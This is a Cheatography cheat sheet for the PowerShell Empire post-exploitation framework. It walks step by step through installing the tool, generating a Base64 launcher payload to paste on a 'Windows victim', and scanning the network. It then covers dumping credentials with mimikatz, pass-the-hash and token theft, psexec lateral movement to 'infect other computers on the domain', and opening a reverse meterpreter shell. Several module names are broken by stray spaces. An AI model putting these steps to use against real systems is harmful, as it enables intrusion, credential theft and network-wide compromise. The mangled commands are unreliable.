

### Resources

Official Site - <http://www.powershell-empire.com>  
 Indepth Tutorial + Word Excel Macro Example - <https://www.youtube.com/watch?v=aDeJBe6eqps>  
 ~39:30 - BSides DC 2015 - Bridging the Gap: Lessons in Adversarial Tradecraft <https://www.youtube.com/watch?v=xHkRhRo3I8o>  
 Offensive Active Directory with Powershell <https://www.youtube.com/watch?v=cXWtu-qalSs>

### Installation

```
git clone https://github.com/powershell-empire/empire
sudo apt-get install python-pip python-openssl
cd empire
cd setup
sudo ./install.sh
```

### Execution & Exploitation

**Create listener and generate Base64 payload**

```
sudo ./empire
listeners
set Name listen_ername
execute
usestager launcher listen_ername
execute (generate payload, copy & paste into cmd on Windows victim)
agents
```

### Execution & Exploitation (cont)

**Note:** Type in usestager then hit TAB twice for more options.

### Post Exploitation

```
agents
interact AGENTNAME
sysinfo
usemodule situation_al_awareness /ne two rk/ dirpscan
set Range 10.0.0.0- 10.0.0.255
execute
...
usemodule situation_al_awareness /ne two rk/ reverse_dns
set Range 10.0.0.0- 10.0.0.255
execute
...
usemodule situation_al_awareness /ne two rk/ powershell
```

### Post Exploitation (cont)

```
agents (look for a user with * as this indicates admin)
interact AGENTNAME
mimikatz (collect creds, etc...)
creds
dir \\COMP UTE RNA ME\C$
creds
pth_1 (passthehash using cred, a PID will be created)
steal_token PIDNUM
dir \\COMP UTE RNA ME\C$
```

### Lateral Movement

```
usemodule situation_al_awareness /ne two rk/ powershell
ala dmi n_a ccess
interact AGENTNAME
execute (computer-names vulnerable to psexec will appear)
usemodule lateral_movement /nvo ke_psexec
info
User Hunting - https://www.sixdub.net/?p=591
Reverse meterpreter shell - DLL Injection using PowerSploit and Metasploit https://www.youtube.com/watch?v=yK0D50y8CKQ
You can repeat the above process to infect other computers on the domain
```

### Connect to a Meterpreter Multi-Handler

Start your meterpreter multi handler following:  
 interact NAME (target name from usemodule code\_execute\_utility\_code  
 ellcode  
 info  
 set lhost IPADDRESS (the IP in session)  
 set lport PORT (the port in your session)  
 execute (wait...)  
 (a meterpreter session will appear)

### Powersploit

Source - <https://github.com/PowerShellMafia/PowerSploit/Demos>  
 User Hunting - <https://www.sixdub.net/?p=591>  
 Reverse meterpreter shell - DLL Injection using PowerSploit and Metasploit <https://www.youtube.com/watch?v=yK0D50y8CKQ>  
 PowerShell Toolkit: PowerSploit - Gaining Shells Without Writing To Disk <https://www.youtube.com/watch?v=LEll6qa-REY>



By **fred**  
[cheatography.com/fred/](http://cheatography.com/fred/)

Published 12th September, 2016.  
 Last updated 12th September, 2016.  
 Page 1 of 2.

Sponsored by **CrosswordCheats.com**  
 Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

